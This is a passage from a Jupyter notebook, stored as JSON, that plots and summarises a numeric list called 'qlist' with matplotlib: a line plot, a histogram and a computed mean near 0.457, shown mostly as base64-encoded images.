2E6Rcw87eYeRQz\nbws153kXM38aAzMvngOwhIh2aByaAOAfUPPpAyovoObPxxPRuo1nmADgcQzMvNAU8U780RHXxwDc\nmXr3ihdYDoNaZFoI4JtVL/iU8Hz7Q82f/x3A7MZvItTi2h0AngRwG4CNjDDfauTHfAAfMI6PBTC3\nce6iqp+txXw5CJH20YDMCwC7ApgJYA5U73jDAZwXZ0AJxblQWlmDB0peQI2anwGwEmru//ginx3A\nOgB+B2ABgAcAjE5Lk3y8JgiCIPQh7jgFQRCEPkQoCIIgCH2IUBAEQRD6EKEgCIIg9CFCQRAEQehD\nhIIgCILQhwgFQRAEoQ8RCoIgCEIf/w9CAucc1fDT6AAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x10d9999d0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "plt.plot(qlist)" ] }, { "cell_type": "code", "execution_count": 128, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "(array([ 8., 11., 202., 996., 2589., 3185., 2002., 796.,\n", " 198., 14.]),\n", " array([ 0.3 , 0.329, 0.358, 0.387, 0.416, 0.445, 0.474, 0.503,\n", " 0.532, 0.561, 0.59 ]),\n", " <a list of 10 Patch objects>)" ] }, "execution_count": 128, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAYMAAAEACAYAAABRQBpkAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAE3JJREFUeJzt3X+MHOd93/H3R6aISLYQQZVBU7QKCcGpEgs1klWbQZ1W\n6xoh6H9EuS70o6giIKxhhbUdBChQMmjKcwLY6h82LKOQUCSKRRkOA8JuCNqlaFEqF3GC2ge7lEXr\nzFgMRMHHmERaOJEVpQAJf/vHDqnF5XS3d7e3s3f3fgELzj4zz8zzcHbus/PMzm6qCknS+nZF2w2Q\nJLXPMJAkGQaSJMNAkoRhIEnCMJAksUAYJPm5JN9O8kKS6SSfaconk8wkOdE8PtRXZ2+Sl5OcSrK9\nr/yuJCebeY+tXJckSYuVhe4zSHJ1Vb2RZAPwp8B/AD4I/LSqPjdr2a3AHwLvBbYAzwETVVVJpoCP\nV9VUkiPAF6rq6PC7JElarAWHiarqjWZyI/A24CfN88yx+E7gQFVdqKozwGlgW5LNwDVVNdUs9zRw\n73IaLkkangXDIMkVSV4AzgPHq+qlZtYnknwvyZNJrm3KbgBm+qrP0DtDmF1+timXJI2BQc4MflZV\ndwDvBv5Fkg7wBHAzcAfwY+CzK9lISdLK2jDoglX1N0n+B/BPq6p7qTzJ7wNfa56eBW7sq/ZuemcE\nZ5vp/vKzs7eRxC9KkqQlqKq5hu4HttCnia6/NASU5CrgV4ATSd7Vt9iHgZPN9GHggSQbk9wMTABT\nVXUOeC3JtiQBHgIOvUWH1uxj3759rbfB/tm/9da39dC/YVjozGAzsD/JFfSC40tV9XySp5PcARTw\nCvCx5g/5dJKDwDRwEdhdb7Z0N/AUcBVwpPwkkSSNjXnDoKpOAu+Zo/xX56nzaeDTc5R/F7h9CW2U\nJK0w70AeoU6n03YTVpT9W73Wct9g7fdvGBa86WyUktQ4tUeSVoMk1EpeQJYkrQ+GgSTJMJAkGQaS\nJAwDSRKGgSQJw0CShGEgScIwkCRhGEiSMAwkSRgGkiQMA0kShoEkiUX8BrK0XvR+mbVdfpW7Rs0w\nkObU5h/j9sNI64/DRJIkw0CSZBhIkjAMJEkYBpIkFgiDJD+X5NtJXkgyneQzTfl1SY4l+WGSZ5Nc\n21dnb5KXk5xKsr2v/K4kJ5t5j61clyRJizVvGFTV/wM+UFV3AP8E+ECSXwb2AMeq6hbg+eY5SbYC\n9wNbgR3A43nzQ9tPALuqagKYSLJjJTokSVq8BYeJquqNZnIj8DbgJ8A9wP6mfD9wbzO9EzhQVReq\n6gxwGtiWZDNwTVVNNcs93VdHktSyBcMgyRVJXgDOA8er6iVgU1WdbxY5D2xqpm8AZvqqzwBb5ig/\n25RLksbAgncgV9XPgDuS/DzwjSQfmDW/kgztds3JycnL051Oh06nM6xVS9Ka0O126Xa7Q11nFvMd\nKEl+G/g74N8Bnao61wwBHa+qW5PsAaiqR5vljwL7gFebZW5ryh8E7q6qR2atv/xOFrWtd5mr3a+j\n8DjQYiShqpb1PSYLfZro+kufFEpyFfArwAngMPBws9jDwKFm+jDwQJKNSW4GJoCpqjoHvJZkW3NB\n+aG+OpKkli00TLQZ2J/kCnrB8aWqej7JCeBgkl3AGeA+gKqaTnIQmAYuArv73urvBp4CrgKOVNXR\nYXdGkrQ0ixomWmkOE2kcOEyk1WbFh4kkSeuDYSBJMgwkSYaBJAnDQJKEYSBJwjCQJGEYSJIwDCRJ\nGAaSJAwDSRKGgSQJw0CShGEgScIwkCRhGEiSMAwkSRgGkiQMA0kShoEkCcNAkoRhIEkCNrTdAGm2\nJG03QVp35j0zSHJjkuNJXkry/SSfbMonk8wkOdE8PtRXZ2+Sl5OcSrK9r/yuJCebeY+tXJe0NlSL\nD2n9SdVbv/iTvAt4V1W9kOQdwHeBe4H7gJ9W1edmLb8V+EPgvcAW4DlgoqoqyRTw8aqaSnIE+EJV\nHZ1Vv+Zrj9aH3plBm6+D9rfvcaDFSEJVLeuUet4zg6o6V1UvNNOvAz+g90ceekfMbDuBA1V1oarO\nAKeBbUk2A9dU1VSz3NP0QkWSNAYGvoCc5CbgTuBbTdEnknwvyZNJrm3KbgBm+qrN0AuP2eVneTNU\nJEktG+gCcjNE9BXgN6rq9SRPAL/TzP5d4LPArmE0aHJy8vJ0p9Oh0+kMY7WStGZ0u1263e5Q1znv\nNQOAJFcCXweeqarPzzH/JuBrVXV7kj0AVfVoM+8osA94FTheVbc15Q8Cd1fVI7PW5TUDec3AawZa\npBW/ZpDeUfkkMN0fBM01gEs+DJxspg8DDyTZmORmYAKYqqpzwGtJtjXrfAg4tJyGS5KGZ6FhovcD\n/xZ4McmJpuy3gAeT3EHv7dMrwMcAqmo6yUFgGrgI7O57q78beAq4Cjgy+5NEkqT2LDhMNEoOEwkc\nJnKYSIu14sNEkqT1wTCQJBkGkiTDQJKEYSBJwjCQJGEYSJIwDCRJGAaSJAwDSRKGgSQJw0CShGEg\nScIwkCRhGEiSMAwkSRgGkiQMA0kShoEkCcNAkoRhIEnCMJAkYRhIklggDJLcmOR4kpeSfD/JJ5vy\n65IcS/LDJM8mubavzt4kLyc5lWR7X/ldSU428x5buS5JkhZroTODC8BvVtU/Bn4J+PdJbgP2AMeq\n6hbg+eY5SbYC9wNbgR3A40nSrOsJYFdVTQATSXYMvTeSpCWZNwyq6lxVvdBMvw78ANgC3APsbxbb\nD9zbTO8EDlTVhao6A5wGtiXZDFxTVVPNck/31ZEktWzgawZJbgLuBL4NbKqq882s88CmZvoGYKav\n2gy98JhdfrYplySNgQ2DLJTkHcBXgd+oqp++OfIDVVVJalgNmpycvDzd6XTodDrDWrW0avQfY22p\nGtphrSHrdrt0u92hrjML7fAkVwJfB56pqs83ZaeATlWda4aAjlfVrUn2AFTVo81yR4F9wKvNMrc1\n5Q8Cd1fVI7O2Vb4A1ftD2ObrYL1vv9cGj8XVIwlVtax3EAt9mijAk8D0pSBoHAYebqYfBg71lT+Q\nZGOSm4EJYKqqzgGvJdnWrPOhvjqSpJbNe2aQ5JeBPwFe5M23KnuBKeAg8A+BM8B9VfXXTZ3fAn4N\nuEhvWOkbTfldwFPAVcCRqvrkHNvzzECeGbS+/V4bPBZXj2GcGSw4TDRKhoHAMGh/+702eCyuHis+\nTCRJWh8MA0mSYSBJMgwkSRgGkiQMA0kShoEkCcNAkoRhIEnCMJAkYRhIkjAMJEkYBpIkDANJEoaB\nJAnDQJKEYSBJwjCQJGEYSJIwDCRJGAaSJAwDSRKGgSSJAcIgyR8kOZ/kZF/ZZJKZJCeax4f65u1N\n8nKSU0m295XfleRkM++x4XdFkrRUg5wZfBHYMausgM9V1Z3N4xmAJFuB+4GtTZ3Hk6Sp8wSwq6om\ngIkks9cpSWrJgmFQVd8EfjLHrMxRthM4UFUXquoMcBrYlmQzcE1VTTXLPQ3cu7QmS5KGbTnXDD6R\n5HtJnkxybVN2AzDTt8wMsGWO8rNNuSRpDGxYYr0ngN9ppn8X+CywaxgNmpycvDzd6XTodDrDWK0k\nrRndbpdutzvUdaaqFl4ouQn4WlXdPt+8JHsAqurRZt5RYB/wKnC8qm5ryh8E7q6qR2atqwZpj9a2\n3mWmNl8H6337vTZ4LK4eSaiquYbuB7akYaLmGsAlHwYufdLoMPBAko1JbgYmgKmqOge8lmRbc0H5\nIeDQMtotSRqiBYeJkhwA7gauT/Ijeu/0O0nuoPf25RXgYwBVNZ3kIDANXAR2973V3w08BVwFHKmq\no0PuiyRpiQYaJhoVh4kEDhO1v/1eGzwWV4/WhokkSWuLYSBJMgwkSYaBJAnDQJKEYSBJwjCQJGEY\nSJIwDCRJGAaSJAwDSRKGgSQJw0CShGEgScIwkCRhGEiSMAwkSRgGkiQMA0kShoEkCcNAkoRhIEnC\nMJAkMUAYJPmDJOeTnOwruy7JsSQ/TPJskmv75u1N8nKSU0m295XfleRkM++x4XdFkrRUg5wZfBHY\nMatsD3Csqm4Bnm+ek2QrcD+wtanzeJI0dZ4AdlXVBDCRZPY6JUktWTAMquqbwE9mFd8D7G+m9wP3\nNtM7gQNVdaGqzgCngW1JNgPXVNVUs9zTfXUkSS1b6jWDTVV1vpk+D2xqpm8AZvqWmwG2zFF+timX\nJI2BDctdQVVVkhpGYwAmJycvT3c6HTqdzrBWrQG8OaonaVx1u1263e5Q15mqhf+OJ7kJ+FpV3d48\nPwV0qupcMwR0vKpuTbIHoKoebZY7CuwDXm2Wua0pfxC4u6oembWdGqQ9Wjm9MGh7H7TdhvW+/V4b\nPBZXjyRU1bLeyS11mOgw8HAz/TBwqK/8gSQbk9wMTABTVXUOeC3JtuaC8kN9dSRJLVtwmCjJAeBu\n4PokPwL+M/AocDDJLuAMcB9AVU0nOQhMAxeB3X1v9XcDTwFXAUeq6uhwuyJJWqqBholGxWGi9jlM\n5PYvtcFjcfVoc5hIkrSGGAaSJMNAkmQYSJIwDCRJGAaSJAwDSRKGgSSJIXxRnaS1qe0vLfSmt9Ey\nDCS9hbbvwtYoOUwkSTIMJEmGgSQJw0CShGEgScIwkCRhGEiSMAwkSRgGkiQMA0kShoEkCcNAkoRh\nIElimWGQ5EySF5OcSDLVlF2X5FiSHyZ5Nsm1fcvvTfJyklNJti+38ZKk4VjumUEBnaq6s6re15Tt\nAY5V1S3A881zkmwF7ge2AjuAx5N4ZiJJY2AYf4xnf/H4PcD+Zno/cG8zvRM4UFUXquoMcBp4H5Kk\n1g3jzOC5JN9J8tGmbFNVnW+mzwObmukbgJm+ujPAlmVuX5I0BMv9pbP3V9WPk7wTOJbkVP/Mqqok\n8/1c0t+bNzk5eXm60+nQ6XSW2URJWlu63S7dbneo68ywfmc0yT7gdeCj9K4jnEuyGTheVbcm2QNQ\nVY82yx8F9lXVt/vWUf7uabt6v3vb9j5ouw3rffvj0Ib4G8iLkISqWtZvhS55mCjJ1UmuaabfDmwH\nTgKHgYebxR4GDjXTh4EHkmxMcjMwAUwtdfuSpOFZzjDRJuCPe+8k2QB8uaqeTfId4GCSXcAZ4D6A\nqppOchCYBi4Cuz0NkKTxMLRhomFwmKh9DhO5/fFog8NEi9HqMJEkae0wDCRJhoEkyTCQJGEYSJIw\nDCRJGAaSJAwDSRKGgSQJw0CShGEgScIwkCRhGEiSMAwkSSz/Zy81ZM3vQ0jrXtvHwnr7Cm3DYCy1\n/V360jjwOBglh4kkSYaBJMkwkCRhGEiSMAwkSRgGkiRGHAZJdiQ5leTlJP9xlNuWJL21kYVBkrcB\n/xXYAWwFHkxy26i2Pw663W7bTVhh3bYbsMK6bTdgBXXbbsAK67bdgLE3yjOD9wGnq+pMVV0A/gjY\nOcLtt84wWO26bTdgBXXbbsAK67bdgLE3yjuQtwA/6ns+A2ybvdDU1NTIGjSXO++8kyuvvLLVNkjS\nqI0yDAa6t3zbtr+XD2vKpz71qbabIGkAbX83Eoz2+5Eyqo0l+SVgsqp2NM/3Aj+rqv/St8z6+mYo\nSRqSqlpWeo0yDDYAfw58EPhLYAp4sKp+MJIGSJLe0siGiarqYpKPA98A3gY8aRBI0ngY2ZmBJGl8\njfI+g3lvOEuyM8n3kpxI8t0k/3LQuuNgmf07k+TFZl67H6eaw6D//0nem+Riko8stm6bltm/sd53\nMNBrs5Pkb5o+nEjynwatOw6W0L/f7pu36vdfs0yn6cP3k3QXU/eyqlrxB71hodPATcCVwAvAbbOW\neXvf9O307kkYqG7bj+X0r3n+CnBd2/1Yat/6lvufwNeBj6ylffdW/Rv3fbeI12YHOLzU/5vV2r81\ntP+uBV4C3t08v34p+29UZwYL3nBWVX/b9/QdwP8ZtO4YWE7/Lmn/c2xzG/T//xPAV4C/WkLdNi2n\nf5eM676Dwfs3Vx/W0v6bbx+t9v33b4CvVtUMQFUt6W/nqMJgrhvOtsxeKMm9SX4APAN8cjF1W7ac\n/kHvHoznknwnyUdXtKWLt2Dfkmyh9yJ7oim6dCFqTey7efp3aXpc9x0Mtg8K+GfNMOaRJFsXUbdt\ny+nfpXmrff9NANclOd7046FF1L1sVJ8mGugqdVUdAg4l+efAl5LcurLNGpol9Q/4R82s91fVj5O8\nEziW5FRVfXOF2rpYg/Tt88Ceqqr07tS59E5rNXw6YTn9g/HedzBY//43cGNVvZHkQ8Ah4JaVbdbQ\nLLd/a2H/XQm8h97H9q8G/leSbw1Y97JRnRmcBW7se34jvZSaU7MzNgDXNcsNXLclS+pfkn/QPP9x\n8+9fAX9M7/RuXAzSt7uAP0ryCvAR4PEk9wxYt23L6d+47zsYoH9V9dOqeqOZfga4MsmaOfbm6d+a\n2H/03v0/W1V/V1X/F/gT4BcHrPumEV0E2QD8Bb0LGRuZ+yLIL/DmR13fA/zFoHXbfiyzf1cD1zTT\nbwf+DNjedp8W07dZy38R+Fdrad/N07+x3neLeG1u6nttvg84s5b23zz9Wyv771bgOXoXjK8GTtL7\nZuhF7b+RDBPVW9xwluRjzfz/Ru8d168muQC8DjwwX91RtHtQy+kf8C7gv/dGH9gAfLmqnh11H97K\ngH1bVN1RtHtQy+kfY77vYOD+/Wvg15NcBN5g7R17c/aPNbL/qupUkqPAi8DPgN+rqmmAxew/bzqT\nJPmzl5Ikw0CShGEgScIwkCRhGEiSMAwkSRgGkiQMA0kS8P8BJ4kn5+Xv/JsAAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x10cec58d0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "plt.hist(qlist)" ] }, { "cell_type": "code", "execution_count": 245, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "0.45695930406959306" ] }, "execution_count": 245, "metadata": {}, "output_type": "execute_result" } ], "source": [ "qlist.mean()" ] }, { "cell_type": "code", "execution_count": 247, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "[<matplotlib.lines.Line2D at 0x117cd2910>]" ] }, "execution_count": 247, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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